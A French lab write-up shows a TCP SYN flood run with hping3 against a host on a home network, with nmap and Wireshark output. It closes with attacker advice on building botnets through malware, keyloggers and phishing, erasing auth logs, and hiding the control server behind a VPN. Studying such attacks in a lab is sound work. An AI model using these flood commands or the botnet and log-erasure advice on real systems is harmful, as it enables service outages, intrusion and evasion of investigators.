Sujet 1: La puissance des attaque DDoS TCP SYN - Un jeu d'enfant

Sur VirtualBox, nous avons créé une VM Debian avec un réseau en accès par pont pour pouvoir communiquer avec l'hôte Windows 10 et Internet.

Après avoir installé hping3 sur notre VM, nous allons essayer d'envoyer des requêtes SYN TCP avec la commande hping3 -S [destination]

On constate que les paquets sont perdus (aucune réponse) :

```
franc@franc-virtualbox:~$ sudo hping3 -S 192.168.1.82
HPING 192.168.1.82 (enp0s3 192.168.1.82): S set, 40 headers + 0 data bytes
^C
--- 192.168.1.82 hping statistic ---
4 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

Pourtant, les deux machines peuvent ping :

```
franc@franc-virtualbox:~$ ping 192.168.1.82
PING 192.168.1.82 (192.168.1.82) 56(84) bytes of data.
64 bytes from 192.168.1.82: icmp_seq=1 ttl=128 time=0.318 ms
64 bytes from 192.168.1.82: icmp_seq=2 ttl=128 time=0.242 ms
^C
--- 192.168.1.82 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1010ms
rtt min/avg/max/mdev = 0.242/0.280/0.318/0.038 ms
```

Mon réseau hôte utilise le profil "Privé".



Connecté (^)

Désactivons le pare-feu pour le profil "Privé"

Personnaliser les paramètres pour chaque type de réseau

	1 1 21
ous po	uvez modifier les paramètres de pare-feu pour chaque type de réseau que vous utilisez.
Paramèt	tres des réseaux privés ————————————————————————————————————
	Activer le Pare-feu Windows Defender
	 Bloquer toutes les connexions entrantes, y compris celles de la liste des applications autorisées
	M'avertir lorsque le Pare-feu Windows Defender bloque une nouvelle application
×	Désactiver le Pare-feu Windows Defender (non recommandé)
Paramèt	tres des réseaux publics
	Activer le Pare-feu Windows Defender
	Bloquer toutes les connexions entrantes, y compris celles de la liste des applications autorisées
	M'avertir lorsque le Pare-feu Windows Defender bloque une nouvelle application
X	O Désactiver le Pare-feu Windows Defender (non recommandé)

On constate que les paquets sont maintenant reçus

```
franc@franc-virtualbox:~$ sudo hping3 -S 192.168.1.82
HPING 192.168.1.82 (enp0s3 192.168.1.82): S set, 40 headers + 0 data bytes len=46 ip=192.168.1.82 ttl=128 DF id=7053 sport=0 flags=RA seq=0 win=0 rtt=6.7
len=46 ip=192.168.1.82 ttl=128 DF id=7067 sport=0 flags=RA seq=1 win=0 rtt=6.2
len=46 ip=192.168.1.82 ttl=128 DF id=7068 sport=0 flags=RA seq=2 win=0 rtt=6.1
len=46 ip=192.168.1.82 ttl=128 DF id=7069 sport=0 flags=RA seq=3 win=0 rtt=6.1
ms
^C
--- 192.168.1.82 hping statistic ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 6.1/6.3/6.7 ms
```

La commande nmap [IP destination] permet de scanner les ports ouverts

```
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
1287/tcp open routematch
```

Nous pouvons utiliser la commande hping3 -S [IP destination] -a [IP source] -p [port] --flood pour réaliser une attaque DDOS SYN TCP.

```
franc@franc-virtualbox:~$ sudo hping3 -S 192.168.1.64 --flood
[sudo] password for franc:
HPING 192.168.1.64 (enp0s3 192.168.1.64): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.1.64 hping statistic ---
851991 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

Après avoir entré la commande hping3 -S 192.168.1.64 –flood, on peut observer sur Wireshark une multitude de paquets SYN

36018 8.961823	192.168.1.64	192.168.1.30	TCP	54 0 → 39155 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36019 8.962297	192.168.1.30	192.168.1.64	TCP	60 39182 → 0 [SYN] Seq=0 Win=512 Len=0
36020 8.962306	192.168.1.64	192.168.1.30	TCP	54 0 → 39182 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36021 8.962785		192.168.1.64	TCP	60 [TCP Port numbers reused] 39202 → 0 [SYN] Seq=0 Win=512 Len=0
36022 8.962794	192.168.1.64	192.168.1.30	TCP	54 0 → 39202 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36023 8.963342	192.168.1.30	192.168.1.64	TCP	60 39232 → 0 [SYN] Seq=0 Win=512 Len=0
36024 8.963351	192.168.1.64	192.168.1.30	TCP	54 0 → 39232 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36025 8.963918	192.168.1.30	192.168.1.64	TCP	60 39258 → 0 [SYN] Seq=0 Win=512 Len=0
36026 8.963927	192.168.1.64	192.168.1.30	TCP	54 0 → 39258 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36027 8.964433	192.168.1.30	192.168.1.64	TCP	60 39280 → 0 [SYN] Seq=0 Win=512 Len=0

On peut propager des bots à l'aide de malware pour en faire des zombies ou utiliser des services de cloud.

Par exemple, avec un accès physique, on peut utiliser un USB Rubber Ducky pour récupérer des informations (keylogger) puis envoyer des frappes de clavier pour avoir un accès SSH.

On n'oubliera pas d'effacer les logs (/var/log/auth.log par exemple).



USB Rubber Ducky

Sans accès physique, on peut utiliser du reverse engineering avec du phishing ou du social engineering par exemple. Le but étant de se faire passer pour un collaborateur et de récupérer des accès serveur.

Il est également possible d'acheter des bots



Via un serveur de contrôle, on demande aux bots de lancer simultanément la commande citée précédemment. On évitera de connecter directement le serveur de contrôle aux bots. On passera par un VPN pour le masquer.